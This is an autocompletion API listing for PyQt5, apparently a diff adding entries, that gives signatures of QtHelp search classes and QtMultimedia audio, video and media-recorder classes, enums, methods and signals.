+QtHelp.QHelpLink?1(QHelpLink) +QtHelp.QHelpLink.__init__?1(self, QHelpLink) +QtHelp.QHelpSearchQuery.FieldName?10 +QtHelp.QHelpSearchQuery.FieldName.DEFAULT?10 +QtHelp.QHelpSearchQuery.FieldName.FUZZY?10 +QtHelp.QHelpSearchQuery.FieldName.WITHOUT?10 +QtHelp.QHelpSearchQuery.FieldName.PHRASE?10 +QtHelp.QHelpSearchQuery.FieldName.ALL?10 +QtHelp.QHelpSearchQuery.FieldName.ATLEAST?10 +QtHelp.QHelpSearchQuery?1() +QtHelp.QHelpSearchQuery.__init__?1(self) +QtHelp.QHelpSearchQuery?1(QHelpSearchQuery.FieldName, QStringList) +QtHelp.QHelpSearchQuery.__init__?1(self, QHelpSearchQuery.FieldName, QStringList) +QtHelp.QHelpSearchQuery?1(QHelpSearchQuery) +QtHelp.QHelpSearchQuery.__init__?1(self, QHelpSearchQuery) +QtHelp.QHelpSearchEngine?1(QHelpEngineCore, QObject parent=None) +QtHelp.QHelpSearchEngine.__init__?1(self, QHelpEngineCore, QObject parent=None) +QtHelp.QHelpSearchEngine.query?4() -> unknown-type +QtHelp.QHelpSearchEngine.queryWidget?4() -> QHelpSearchQueryWidget +QtHelp.QHelpSearchEngine.resultWidget?4() -> QHelpSearchResultWidget +QtHelp.QHelpSearchEngine.hitCount?4() -> int +QtHelp.QHelpSearchEngine.hits?4(int, int) -> unknown-type +QtHelp.QHelpSearchEngine.reindexDocumentation?4() +QtHelp.QHelpSearchEngine.cancelIndexing?4() +QtHelp.QHelpSearchEngine.search?4(unknown-type) +QtHelp.QHelpSearchEngine.cancelSearching?4() +QtHelp.QHelpSearchEngine.indexingStarted?4() +QtHelp.QHelpSearchEngine.indexingFinished?4() +QtHelp.QHelpSearchEngine.searchingStarted?4() +QtHelp.QHelpSearchEngine.searchingFinished?4(int) +QtHelp.QHelpSearchEngine.searchResultCount?4() -> int +QtHelp.QHelpSearchEngine.searchResults?4(int, int) -> unknown-type +QtHelp.QHelpSearchEngine.searchInput?4() -> QString +QtHelp.QHelpSearchEngine.search?4(QString) +QtHelp.QHelpSearchResult?1() +QtHelp.QHelpSearchResult.__init__?1(self) +QtHelp.QHelpSearchResult?1(QHelpSearchResult) +QtHelp.QHelpSearchResult.__init__?1(self, QHelpSearchResult) +QtHelp.QHelpSearchResult?1(QUrl, QString, QString) +QtHelp.QHelpSearchResult.__init__?1(self, QUrl, QString, QString) +QtHelp.QHelpSearchResult.title?4() -> QString +QtHelp.QHelpSearchResult.url?4() -> QUrl +QtHelp.QHelpSearchResult.snippet?4() -> QString +QtHelp.QHelpSearchQueryWidget?1(QWidget parent=None) +QtHelp.QHelpSearchQueryWidget.__init__?1(self, QWidget parent=None) +QtHelp.QHelpSearchQueryWidget.query?4() -> unknown-type +QtHelp.QHelpSearchQueryWidget.setQuery?4(unknown-type) +QtHelp.QHelpSearchQueryWidget.expandExtendedSearch?4() +QtHelp.QHelpSearchQueryWidget.collapseExtendedSearch?4() +QtHelp.QHelpSearchQueryWidget.search?4() +QtHelp.QHelpSearchQueryWidget.isCompactMode?4() -> bool +QtHelp.QHelpSearchQueryWidget.setCompactMode?4(bool) +QtHelp.QHelpSearchQueryWidget.searchInput?4() -> QString +QtHelp.QHelpSearchQueryWidget.setSearchInput?4(QString) +QtHelp.QHelpSearchResultWidget.linkAt?4(QPoint) -> QUrl +QtHelp.QHelpSearchResultWidget.requestShowLink?4(QUrl) +QtMultimedia.QAbstractVideoBuffer.MapMode?10 +QtMultimedia.QAbstractVideoBuffer.MapMode.NotMapped?10 +QtMultimedia.QAbstractVideoBuffer.MapMode.ReadOnly?10 +QtMultimedia.QAbstractVideoBuffer.MapMode.WriteOnly?10 +QtMultimedia.QAbstractVideoBuffer.MapMode.ReadWrite?10 +QtMultimedia.QAbstractVideoBuffer.HandleType?10 +QtMultimedia.QAbstractVideoBuffer.HandleType.NoHandle?10 +QtMultimedia.QAbstractVideoBuffer.HandleType.GLTextureHandle?10 +QtMultimedia.QAbstractVideoBuffer.HandleType.XvShmImageHandle?10 +QtMultimedia.QAbstractVideoBuffer.HandleType.CoreImageHandle?10 +QtMultimedia.QAbstractVideoBuffer.HandleType.QPixmapHandle?10 +QtMultimedia.QAbstractVideoBuffer.HandleType.EGLImageHandle?10 +QtMultimedia.QAbstractVideoBuffer.HandleType.UserHandle?10 +QtMultimedia.QAbstractVideoBuffer?1(QAbstractVideoBuffer.HandleType) +QtMultimedia.QAbstractVideoBuffer.__init__?1(self, QAbstractVideoBuffer.HandleType) +QtMultimedia.QAbstractVideoBuffer.handleType?4() -> QAbstractVideoBuffer.HandleType +QtMultimedia.QAbstractVideoBuffer.mapMode?4() -> QAbstractVideoBuffer.MapMode +QtMultimedia.QAbstractVideoBuffer.map?4(QAbstractVideoBuffer.MapMode) -> (object, int, int) +QtMultimedia.QAbstractVideoBuffer.unmap?4() +QtMultimedia.QAbstractVideoBuffer.handle?4() -> QVariant +QtMultimedia.QAbstractVideoBuffer.release?4() +QtMultimedia.QVideoFilterRunnable.RunFlag?10 +QtMultimedia.QVideoFilterRunnable.RunFlag.LastInChain?10 +QtMultimedia.QVideoFilterRunnable?1() +QtMultimedia.QVideoFilterRunnable.__init__?1(self) +QtMultimedia.QVideoFilterRunnable?1(QVideoFilterRunnable) +QtMultimedia.QVideoFilterRunnable.__init__?1(self, QVideoFilterRunnable) +QtMultimedia.QVideoFilterRunnable.run?4(QVideoFrame, QVideoSurfaceFormat, QVideoFilterRunnable.RunFlags) -> QVideoFrame +QtMultimedia.QVideoFilterRunnable.RunFlags?1() +QtMultimedia.QVideoFilterRunnable.RunFlags.__init__?1(self) +QtMultimedia.QVideoFilterRunnable.RunFlags?1(int) +QtMultimedia.QVideoFilterRunnable.RunFlags.__init__?1(self, int) +QtMultimedia.QVideoFilterRunnable.RunFlags?1(QVideoFilterRunnable.RunFlags) +QtMultimedia.QVideoFilterRunnable.RunFlags.__init__?1(self, QVideoFilterRunnable.RunFlags) +QtMultimedia.QAbstractVideoFilter?1(QObject parent=None) +QtMultimedia.QAbstractVideoFilter.__init__?1(self, QObject parent=None) +QtMultimedia.QAbstractVideoFilter.isActive?4() -> bool +QtMultimedia.QAbstractVideoFilter.createFilterRunnable?4() -> QVideoFilterRunnable +QtMultimedia.QAbstractVideoFilter.activeChanged?4() +QtMultimedia.QAbstractVideoSurface.Error?10 +QtMultimedia.QAbstractVideoSurface.Error.NoError?10 +QtMultimedia.QAbstractVideoSurface.Error.UnsupportedFormatError?10 +QtMultimedia.QAbstractVideoSurface.Error.IncorrectFormatError?10 +QtMultimedia.QAbstractVideoSurface.Error.StoppedError?10 +QtMultimedia.QAbstractVideoSurface.Error.ResourceError?10 +QtMultimedia.QAbstractVideoSurface?1(QObject parent=None) +QtMultimedia.QAbstractVideoSurface.__init__?1(self, QObject parent=None) +QtMultimedia.QAbstractVideoSurface.supportedPixelFormats?4(QAbstractVideoBuffer.HandleType type=QAbstractVideoBuffer.NoHandle) -> unknown-type +QtMultimedia.QAbstractVideoSurface.isFormatSupported?4(QVideoSurfaceFormat) -> bool +QtMultimedia.QAbstractVideoSurface.nearestFormat?4(QVideoSurfaceFormat) -> QVideoSurfaceFormat +QtMultimedia.QAbstractVideoSurface.surfaceFormat?4() -> QVideoSurfaceFormat +QtMultimedia.QAbstractVideoSurface.start?4(QVideoSurfaceFormat) -> bool +QtMultimedia.QAbstractVideoSurface.stop?4() +QtMultimedia.QAbstractVideoSurface.isActive?4() -> bool +QtMultimedia.QAbstractVideoSurface.present?4(QVideoFrame) -> bool +QtMultimedia.QAbstractVideoSurface.error?4() -> QAbstractVideoSurface.Error +QtMultimedia.QAbstractVideoSurface.activeChanged?4(bool) +QtMultimedia.QAbstractVideoSurface.surfaceFormatChanged?4(QVideoSurfaceFormat) +QtMultimedia.QAbstractVideoSurface.supportedFormatsChanged?4() +QtMultimedia.QAbstractVideoSurface.setError?4(QAbstractVideoSurface.Error) +QtMultimedia.QAbstractVideoSurface.nativeResolution?4() -> QSize +QtMultimedia.QAbstractVideoSurface.setNativeResolution?4(QSize) +QtMultimedia.QAbstractVideoSurface.nativeResolutionChanged?4(QSize) +QtMultimedia.QAudio.VolumeScale?10 +QtMultimedia.QAudio.VolumeScale.LinearVolumeScale?10 +QtMultimedia.QAudio.VolumeScale.CubicVolumeScale?10 +QtMultimedia.QAudio.VolumeScale.LogarithmicVolumeScale?10 +QtMultimedia.QAudio.VolumeScale.DecibelVolumeScale?10 +QtMultimedia.QAudio.Role?10 +QtMultimedia.QAudio.Role.UnknownRole?10 +QtMultimedia.QAudio.Role.MusicRole?10 +QtMultimedia.QAudio.Role.VideoRole?10 +QtMultimedia.QAudio.Role.VoiceCommunicationRole?10 +QtMultimedia.QAudio.Role.AlarmRole?10 +QtMultimedia.QAudio.Role.NotificationRole?10 +QtMultimedia.QAudio.Role.RingtoneRole?10 +QtMultimedia.QAudio.Role.AccessibilityRole?10 +QtMultimedia.QAudio.Role.SonificationRole?10 +QtMultimedia.QAudio.Role.GameRole?10 +QtMultimedia.QAudio.Role.CustomRole?10 +QtMultimedia.QAudio.Mode?10 +QtMultimedia.QAudio.Mode.AudioInput?10 +QtMultimedia.QAudio.Mode.AudioOutput?10 +QtMultimedia.QAudio.State?10 +QtMultimedia.QAudio.State.ActiveState?10 +QtMultimedia.QAudio.State.SuspendedState?10 +QtMultimedia.QAudio.State.StoppedState?10 +QtMultimedia.QAudio.State.IdleState?10 +QtMultimedia.QAudio.State.InterruptedState?10 +QtMultimedia.QAudio.Error?10 +QtMultimedia.QAudio.Error.NoError?10 +QtMultimedia.QAudio.Error.OpenError?10 +QtMultimedia.QAudio.Error.IOError?10 +QtMultimedia.QAudio.Error.UnderrunError?10 +QtMultimedia.QAudio.Error.FatalError?10 +QtMultimedia.QAudio.convertVolume?4(float, QAudio.VolumeScale, QAudio.VolumeScale) -> float +QtMultimedia.QAudioBuffer?1() +QtMultimedia.QAudioBuffer.__init__?1(self) +QtMultimedia.QAudioBuffer?1(QByteArray, QAudioFormat, int startTime=-1) +QtMultimedia.QAudioBuffer.__init__?1(self, QByteArray, QAudioFormat, int startTime=-1) +QtMultimedia.QAudioBuffer?1(int, QAudioFormat, int startTime=-1) +QtMultimedia.QAudioBuffer.__init__?1(self, int, QAudioFormat, int startTime=-1) +QtMultimedia.QAudioBuffer?1(QAudioBuffer) +QtMultimedia.QAudioBuffer.__init__?1(self, QAudioBuffer) +QtMultimedia.QAudioBuffer.isValid?4() -> bool +QtMultimedia.QAudioBuffer.format?4() -> QAudioFormat +QtMultimedia.QAudioBuffer.frameCount?4() -> int +QtMultimedia.QAudioBuffer.sampleCount?4() -> int +QtMultimedia.QAudioBuffer.byteCount?4() -> int +QtMultimedia.QAudioBuffer.duration?4() -> int +QtMultimedia.QAudioBuffer.startTime?4() -> int +QtMultimedia.QAudioBuffer.constData?4() -> sip.voidptr +QtMultimedia.QAudioBuffer.data?4() -> sip.voidptr +QtMultimedia.QMediaObject?1(QObject, QMediaService) +QtMultimedia.QMediaObject.__init__?1(self, QObject, QMediaService) +QtMultimedia.QMediaObject.isAvailable?4() -> bool +QtMultimedia.QMediaObject.availability?4() -> QMultimedia.AvailabilityStatus +QtMultimedia.QMediaObject.service?4() -> QMediaService +QtMultimedia.QMediaObject.notifyInterval?4() -> int +QtMultimedia.QMediaObject.setNotifyInterval?4(int) +QtMultimedia.QMediaObject.bind?4(QObject) -> bool +QtMultimedia.QMediaObject.unbind?4(QObject) +QtMultimedia.QMediaObject.isMetaDataAvailable?4() -> bool +QtMultimedia.QMediaObject.metaData?4(QString) -> QVariant +QtMultimedia.QMediaObject.availableMetaData?4() -> QStringList +QtMultimedia.QMediaObject.notifyIntervalChanged?4(int) +QtMultimedia.QMediaObject.metaDataAvailableChanged?4(bool) +QtMultimedia.QMediaObject.metaDataChanged?4() +QtMultimedia.QMediaObject.metaDataChanged?4(QString, QVariant) +QtMultimedia.QMediaObject.availabilityChanged?4(QMultimedia.AvailabilityStatus) +QtMultimedia.QMediaObject.availabilityChanged?4(bool) +QtMultimedia.QMediaObject.addPropertyWatch?4(QByteArray) +QtMultimedia.QMediaObject.removePropertyWatch?4(QByteArray) +QtMultimedia.QAudioDecoder.Error?10 +QtMultimedia.QAudioDecoder.Error.NoError?10 +QtMultimedia.QAudioDecoder.Error.ResourceError?10 +QtMultimedia.QAudioDecoder.Error.FormatError?10 +QtMultimedia.QAudioDecoder.Error.AccessDeniedError?10 +QtMultimedia.QAudioDecoder.Error.ServiceMissingError?10 +QtMultimedia.QAudioDecoder.State?10 +QtMultimedia.QAudioDecoder.State.StoppedState?10 +QtMultimedia.QAudioDecoder.State.DecodingState?10 +QtMultimedia.QAudioDecoder?1(QObject parent=None) +QtMultimedia.QAudioDecoder.__init__?1(self, QObject parent=None) +QtMultimedia.QAudioDecoder.hasSupport?4(QString, QStringList codecs=[]) -> QMultimedia.SupportEstimate +QtMultimedia.QAudioDecoder.state?4() -> QAudioDecoder.State +QtMultimedia.QAudioDecoder.sourceFilename?4() -> QString +QtMultimedia.QAudioDecoder.setSourceFilename?4(QString) +QtMultimedia.QAudioDecoder.sourceDevice?4() -> QIODevice +QtMultimedia.QAudioDecoder.setSourceDevice?4(QIODevice) +QtMultimedia.QAudioDecoder.audioFormat?4() -> QAudioFormat +QtMultimedia.QAudioDecoder.setAudioFormat?4(QAudioFormat) +QtMultimedia.QAudioDecoder.error?4() -> QAudioDecoder.Error +QtMultimedia.QAudioDecoder.errorString?4() -> QString +QtMultimedia.QAudioDecoder.read?4() -> QAudioBuffer +QtMultimedia.QAudioDecoder.bufferAvailable?4() -> bool +QtMultimedia.QAudioDecoder.position?4() -> int +QtMultimedia.QAudioDecoder.duration?4() -> int +QtMultimedia.QAudioDecoder.start?4() +QtMultimedia.QAudioDecoder.stop?4() +QtMultimedia.QAudioDecoder.bufferAvailableChanged?4(bool) +QtMultimedia.QAudioDecoder.bufferReady?4() +QtMultimedia.QAudioDecoder.finished?4() +QtMultimedia.QAudioDecoder.stateChanged?4(QAudioDecoder.State) +QtMultimedia.QAudioDecoder.formatChanged?4(QAudioFormat) +QtMultimedia.QAudioDecoder.error?4(QAudioDecoder.Error) +QtMultimedia.QAudioDecoder.sourceChanged?4() +QtMultimedia.QAudioDecoder.positionChanged?4(int) +QtMultimedia.QAudioDecoder.durationChanged?4(int) +QtMultimedia.QAudioDecoder.bind?4(QObject) -> bool +QtMultimedia.QAudioDecoder.unbind?4(QObject) +QtMultimedia.QMediaControl?1(QObject parent=None) +QtMultimedia.QMediaControl.__init__?1(self, QObject parent=None) +QtMultimedia.QAudioDecoderControl?1(QObject parent=None) +QtMultimedia.QAudioDecoderControl.__init__?1(self, QObject parent=None) +QtMultimedia.QAudioDecoderControl.state?4() -> QAudioDecoder.State +QtMultimedia.QAudioDecoderControl.sourceFilename?4() -> QString +QtMultimedia.QAudioDecoderControl.setSourceFilename?4(QString) +QtMultimedia.QAudioDecoderControl.sourceDevice?4() -> QIODevice +QtMultimedia.QAudioDecoderControl.setSourceDevice?4(QIODevice) +QtMultimedia.QAudioDecoderControl.start?4() +QtMultimedia.QAudioDecoderControl.stop?4() +QtMultimedia.QAudioDecoderControl.audioFormat?4() -> QAudioFormat +QtMultimedia.QAudioDecoderControl.setAudioFormat?4(QAudioFormat) +QtMultimedia.QAudioDecoderControl.read?4() -> QAudioBuffer +QtMultimedia.QAudioDecoderControl.bufferAvailable?4() -> bool +QtMultimedia.QAudioDecoderControl.position?4() -> int +QtMultimedia.QAudioDecoderControl.duration?4() -> int +QtMultimedia.QAudioDecoderControl.stateChanged?4(QAudioDecoder.State) +QtMultimedia.QAudioDecoderControl.formatChanged?4(QAudioFormat) +QtMultimedia.QAudioDecoderControl.sourceChanged?4() +QtMultimedia.QAudioDecoderControl.error?4(int, QString) +QtMultimedia.QAudioDecoderControl.bufferReady?4() +QtMultimedia.QAudioDecoderControl.bufferAvailableChanged?4(bool) +QtMultimedia.QAudioDecoderControl.finished?4() +QtMultimedia.QAudioDecoderControl.positionChanged?4(int) +QtMultimedia.QAudioDecoderControl.durationChanged?4(int) +QtMultimedia.QAudioDeviceInfo?1() +QtMultimedia.QAudioDeviceInfo.__init__?1(self) +QtMultimedia.QAudioDeviceInfo?1(QAudioDeviceInfo) +QtMultimedia.QAudioDeviceInfo.__init__?1(self, QAudioDeviceInfo) +QtMultimedia.QAudioDeviceInfo.isNull?4() -> bool +QtMultimedia.QAudioDeviceInfo.deviceName?4() -> QString +QtMultimedia.QAudioDeviceInfo.isFormatSupported?4(QAudioFormat) -> bool +QtMultimedia.QAudioDeviceInfo.preferredFormat?4() -> QAudioFormat +QtMultimedia.QAudioDeviceInfo.nearestFormat?4(QAudioFormat) -> QAudioFormat +QtMultimedia.QAudioDeviceInfo.supportedCodecs?4() -> QStringList +QtMultimedia.QAudioDeviceInfo.supportedSampleSizes?4() -> unknown-type +QtMultimedia.QAudioDeviceInfo.supportedByteOrders?4() -> unknown-type +QtMultimedia.QAudioDeviceInfo.supportedSampleTypes?4() -> unknown-type +QtMultimedia.QAudioDeviceInfo.defaultInputDevice?4() -> QAudioDeviceInfo +QtMultimedia.QAudioDeviceInfo.defaultOutputDevice?4() -> QAudioDeviceInfo +QtMultimedia.QAudioDeviceInfo.availableDevices?4(QAudio.Mode) -> unknown-type +QtMultimedia.QAudioDeviceInfo.supportedSampleRates?4() -> unknown-type +QtMultimedia.QAudioDeviceInfo.supportedChannelCounts?4() -> unknown-type +QtMultimedia.QAudioDeviceInfo.realm?4() -> QString +QtMultimedia.QAudioEncoderSettingsControl?1(QObject parent=None) +QtMultimedia.QAudioEncoderSettingsControl.__init__?1(self, QObject parent=None) +QtMultimedia.QAudioEncoderSettingsControl.supportedAudioCodecs?4() -> QStringList +QtMultimedia.QAudioEncoderSettingsControl.codecDescription?4(QString) -> QString +QtMultimedia.QAudioEncoderSettingsControl.supportedSampleRates?4(QAudioEncoderSettings) -> (unknown-type, bool) +QtMultimedia.QAudioEncoderSettingsControl.audioSettings?4() -> QAudioEncoderSettings +QtMultimedia.QAudioEncoderSettingsControl.setAudioSettings?4(QAudioEncoderSettings) +QtMultimedia.QAudioFormat.Endian?10 +QtMultimedia.QAudioFormat.Endian.BigEndian?10 +QtMultimedia.QAudioFormat.Endian.LittleEndian?10 +QtMultimedia.QAudioFormat.SampleType?10 +QtMultimedia.QAudioFormat.SampleType.Unknown?10 +QtMultimedia.QAudioFormat.SampleType.SignedInt?10 +QtMultimedia.QAudioFormat.SampleType.UnSignedInt?10 +QtMultimedia.QAudioFormat.SampleType.Float?10 +QtMultimedia.QAudioFormat?1() +QtMultimedia.QAudioFormat.__init__?1(self) +QtMultimedia.QAudioFormat?1(QAudioFormat) +QtMultimedia.QAudioFormat.__init__?1(self, QAudioFormat) +QtMultimedia.QAudioFormat.isValid?4() -> bool +QtMultimedia.QAudioFormat.setSampleSize?4(int) +QtMultimedia.QAudioFormat.sampleSize?4() -> int +QtMultimedia.QAudioFormat.setCodec?4(QString) +QtMultimedia.QAudioFormat.codec?4() -> QString +QtMultimedia.QAudioFormat.setByteOrder?4(QAudioFormat.Endian) +QtMultimedia.QAudioFormat.byteOrder?4() -> QAudioFormat.Endian +QtMultimedia.QAudioFormat.setSampleType?4(QAudioFormat.SampleType) +QtMultimedia.QAudioFormat.sampleType?4() -> QAudioFormat.SampleType +QtMultimedia.QAudioFormat.setSampleRate?4(int) +QtMultimedia.QAudioFormat.sampleRate?4() -> int +QtMultimedia.QAudioFormat.setChannelCount?4(int) +QtMultimedia.QAudioFormat.channelCount?4() -> int +QtMultimedia.QAudioFormat.bytesForDuration?4(int) -> int +QtMultimedia.QAudioFormat.durationForBytes?4(int) -> int +QtMultimedia.QAudioFormat.bytesForFrames?4(int) -> int +QtMultimedia.QAudioFormat.framesForBytes?4(int) -> int +QtMultimedia.QAudioFormat.framesForDuration?4(int) -> int +QtMultimedia.QAudioFormat.durationForFrames?4(int) -> int +QtMultimedia.QAudioFormat.bytesPerFrame?4() -> int +QtMultimedia.QAudioInput?1(QAudioFormat format=QAudioFormat(), QObject parent=None) +QtMultimedia.QAudioInput.__init__?1(self, QAudioFormat format=QAudioFormat(), QObject parent=None) +QtMultimedia.QAudioInput?1(QAudioDeviceInfo, QAudioFormat format=QAudioFormat(), QObject parent=None) +QtMultimedia.QAudioInput.__init__?1(self, QAudioDeviceInfo, QAudioFormat format=QAudioFormat(), QObject parent=None) +QtMultimedia.QAudioInput.format?4() -> QAudioFormat +QtMultimedia.QAudioInput.start?4(QIODevice) +QtMultimedia.QAudioInput.start?4() -> QIODevice +QtMultimedia.QAudioInput.stop?4() +QtMultimedia.QAudioInput.reset?4() +QtMultimedia.QAudioInput.suspend?4() +QtMultimedia.QAudioInput.resume?4() +QtMultimedia.QAudioInput.setBufferSize?4(int) +QtMultimedia.QAudioInput.bufferSize?4() -> int +QtMultimedia.QAudioInput.bytesReady?4() -> int +QtMultimedia.QAudioInput.periodSize?4() -> int +QtMultimedia.QAudioInput.setNotifyInterval?4(int) +QtMultimedia.QAudioInput.notifyInterval?4() -> int +QtMultimedia.QAudioInput.processedUSecs?4() -> int +QtMultimedia.QAudioInput.elapsedUSecs?4() -> int +QtMultimedia.QAudioInput.error?4() -> QAudio.Error +QtMultimedia.QAudioInput.state?4() -> QAudio.State +QtMultimedia.QAudioInput.stateChanged?4(QAudio.State) +QtMultimedia.QAudioInput.notify?4() +QtMultimedia.QAudioInput.setVolume?4(float) +QtMultimedia.QAudioInput.volume?4() -> float +QtMultimedia.QAudioInputSelectorControl?1(QObject parent=None) +QtMultimedia.QAudioInputSelectorControl.__init__?1(self, QObject parent=None) +QtMultimedia.QAudioInputSelectorControl.availableInputs?4() -> unknown-type +QtMultimedia.QAudioInputSelectorControl.inputDescription?4(QString) -> QString +QtMultimedia.QAudioInputSelectorControl.defaultInput?4() -> QString +QtMultimedia.QAudioInputSelectorControl.activeInput?4() -> QString +QtMultimedia.QAudioInputSelectorControl.setActiveInput?4(QString) +QtMultimedia.QAudioInputSelectorControl.activeInputChanged?4(QString) +QtMultimedia.QAudioInputSelectorControl.availableInputsChanged?4() +QtMultimedia.QAudioOutput?1(QAudioFormat format=QAudioFormat(), QObject parent=None) +QtMultimedia.QAudioOutput.__init__?1(self, QAudioFormat format=QAudioFormat(), QObject parent=None) +QtMultimedia.QAudioOutput?1(QAudioDeviceInfo, QAudioFormat format=QAudioFormat(), QObject parent=None) +QtMultimedia.QAudioOutput.__init__?1(self, QAudioDeviceInfo, QAudioFormat format=QAudioFormat(), QObject parent=None) +QtMultimedia.QAudioOutput.format?4() -> QAudioFormat +QtMultimedia.QAudioOutput.start?4(QIODevice) +QtMultimedia.QAudioOutput.start?4() -> QIODevice +QtMultimedia.QAudioOutput.stop?4() +QtMultimedia.QAudioOutput.reset?4() +QtMultimedia.QAudioOutput.suspend?4() +QtMultimedia.QAudioOutput.resume?4() +QtMultimedia.QAudioOutput.setBufferSize?4(int) +QtMultimedia.QAudioOutput.bufferSize?4() -> int +QtMultimedia.QAudioOutput.bytesFree?4() -> int +QtMultimedia.QAudioOutput.periodSize?4() -> int +QtMultimedia.QAudioOutput.setNotifyInterval?4(int) +QtMultimedia.QAudioOutput.notifyInterval?4() -> int +QtMultimedia.QAudioOutput.processedUSecs?4() -> int +QtMultimedia.QAudioOutput.elapsedUSecs?4() -> int +QtMultimedia.QAudioOutput.error?4() -> QAudio.Error +QtMultimedia.QAudioOutput.state?4() -> QAudio.State +QtMultimedia.QAudioOutput.stateChanged?4(QAudio.State) +QtMultimedia.QAudioOutput.notify?4() +QtMultimedia.QAudioOutput.setVolume?4(float) +QtMultimedia.QAudioOutput.volume?4() -> float +QtMultimedia.QAudioOutput.category?4() -> QString +QtMultimedia.QAudioOutput.setCategory?4(QString) +QtMultimedia.QAudioOutputSelectorControl?1(QObject parent=None) +QtMultimedia.QAudioOutputSelectorControl.__init__?1(self, QObject parent=None) +QtMultimedia.QAudioOutputSelectorControl.availableOutputs?4() -> unknown-type +QtMultimedia.QAudioOutputSelectorControl.outputDescription?4(QString) -> QString +QtMultimedia.QAudioOutputSelectorControl.defaultOutput?4() -> QString +QtMultimedia.QAudioOutputSelectorControl.activeOutput?4() -> QString +QtMultimedia.QAudioOutputSelectorControl.setActiveOutput?4(QString) +QtMultimedia.QAudioOutputSelectorControl.activeOutputChanged?4(QString) +QtMultimedia.QAudioOutputSelectorControl.availableOutputsChanged?4() +QtMultimedia.QAudioProbe?1(QObject parent=None) +QtMultimedia.QAudioProbe.__init__?1(self, QObject parent=None) +QtMultimedia.QAudioProbe.setSource?4(QMediaObject) -> bool +QtMultimedia.QAudioProbe.setSource?4(QMediaRecorder) -> bool +QtMultimedia.QAudioProbe.isActive?4() -> bool +QtMultimedia.QAudioProbe.audioBufferProbed?4(QAudioBuffer) +QtMultimedia.QAudioProbe.flush?4() +QtMultimedia.QMediaBindableInterface?1() +QtMultimedia.QMediaBindableInterface.__init__?1(self) +QtMultimedia.QMediaBindableInterface?1(QMediaBindableInterface) +QtMultimedia.QMediaBindableInterface.__init__?1(self, QMediaBindableInterface) +QtMultimedia.QMediaBindableInterface.mediaObject?4() -> QMediaObject +QtMultimedia.QMediaBindableInterface.setMediaObject?4(QMediaObject) -> bool +QtMultimedia.QMediaRecorder.Error?10 +QtMultimedia.QMediaRecorder.Error.NoError?10 +QtMultimedia.QMediaRecorder.Error.ResourceError?10 +QtMultimedia.QMediaRecorder.Error.FormatError?10 +QtMultimedia.QMediaRecorder.Error.OutOfSpaceError?10 +QtMultimedia.QMediaRecorder.Status?10 +QtMultimedia.QMediaRecorder.Status.UnavailableStatus?10 +QtMultimedia.QMediaRecorder.Status.UnloadedStatus?10 +QtMultimedia.QMediaRecorder.Status.LoadingStatus?10 +QtMultimedia.QMediaRecorder.Status.LoadedStatus?10 +QtMultimedia.QMediaRecorder.Status.StartingStatus?10 +QtMultimedia.QMediaRecorder.Status.RecordingStatus?10 +QtMultimedia.QMediaRecorder.Status.PausedStatus?10 +QtMultimedia.QMediaRecorder.Status.FinalizingStatus?10 +QtMultimedia.QMediaRecorder.State?10 +QtMultimedia.QMediaRecorder.State.StoppedState?10 +QtMultimedia.QMediaRecorder.State.RecordingState?10 +QtMultimedia.QMediaRecorder.State.PausedState?10 +QtMultimedia.QMediaRecorder?1(QMediaObject, QObject parent=None) +QtMultimedia.QMediaRecorder.__init__?1(self, QMediaObject, QObject parent=None) +QtMultimedia.QMediaRecorder.mediaObject?4() -> QMediaObject +QtMultimedia.QMediaRecorder.isAvailable?4() -> bool +QtMultimedia.QMediaRecorder.availability?4() -> QMultimedia.AvailabilityStatus +QtMultimedia.QMediaRecorder.outputLocation?4() -> QUrl +QtMultimedia.QMediaRecorder.setOutputLocation?4(QUrl) -> bool +QtMultimedia.QMediaRecorder.actualLocation?4() -> QUrl +QtMultimedia.QMediaRecorder.state?4() -> QMediaRecorder.State +QtMultimedia.QMediaRecorder.status?4() -> QMediaRecorder.Status +QtMultimedia.QMediaRecorder.error?4() -> QMediaRecorder.Error +QtMultimedia.QMediaRecorder.errorString?4() -> QString +QtMultimedia.QMediaRecorder.duration?4() -> int +QtMultimedia.QMediaRecorder.isMuted?4() -> bool +QtMultimedia.QMediaRecorder.volume?4() -> float +QtMultimedia.QMediaRecorder.supportedContainers?4() -> QStringList +QtMultimedia.QMediaRecorder.containerDescription?4(QString) -> QString +QtMultimedia.QMediaRecorder.supportedAudioCodecs?4() -> QStringList +QtMultimedia.QMediaRecorder.audioCodecDescription?4(QString) -> QString +QtMultimedia.QMediaRecorder.supportedAudioSampleRates?4(QAudioEncoderSettings settings=QAudioEncoderSettings()) -> (unknown-type, bool) +QtMultimedia.QMediaRecorder.supportedVideoCodecs?4() -> QStringList +QtMultimedia.QMediaRecorder.videoCodecDescription?4(QString) -> QString +QtMultimedia.QMediaRecorder.supportedResolutions?4(QVideoEncoderSettings settings=QVideoEncoderSettings()) -> (unknown-type, bool) +QtMultimedia.QMediaRecorder.supportedFrameRates?4(QVideoEncoderSettings settings=QVideoEncoderSettings()) -> (unknown-type, bool) +QtMultimedia.QMediaRecorder.audioSettings?4() -> QAudioEncoderSettings +QtMultimedia.QMediaRecorder.videoSettings?4() -> QVideoEncoderSettings +QtMultimedia.QMediaRecorder.containerFormat?4() -> QString +QtMultimedia.QMediaRecorder.setAudioSettings?4(QAudioEncoderSettings) +QtMultimedia.QMediaRecorder.setVideoSettings?4(QVideoEncoderSettings) +QtMultimedia.QMediaRecorder.setContainerFormat?4(QString) +QtMultimedia.QMediaRecorder.setEncodingSettings?4(QAudioEncoderSettings, QVideoEncoderSettings video=QVideoEncoderSettings(), QString container='') +QtMultimedia.QMediaRecorder.isMetaDataAvailable?4() -> bool +QtMultimedia.QMediaRecorder.isMetaDataWritable?4() -> bool +QtMultimedia.QMediaRecorder.metaData?4(QString) -> QVariant +QtMultimedia.QMediaRecorder.setMetaData?4(QString, QVariant) +QtMultimedia.QMediaRecorder.availableMetaData?4() -> QStringList +QtMultimedia.QMediaRecorder.record?4() +QtMultimedia.QMediaRecorder.pause?4() +QtMultimedia.QMediaRecorder.stop?4() +QtMultimedia.QMediaRecorder.setMuted?4(bool) +QtMultimedia.QMediaRecorder.setVolume?4(float) +QtMultimedia.QMediaRecorder.stateChanged?4(QMediaRecorder.State) +QtMultimedia.QMediaRecorder.statusChanged?4(QMediaRecorder.Status) +QtMultimedia.QMediaRecorder.durationChanged?4(int) +QtMultimedia.QMediaRecorder.mutedChanged?4(bool) +QtMultimedia.QMediaRecorder.volumeChanged?4(float) +QtMultimedia.QMediaRecorder.actualLocationChanged?4(QUrl) 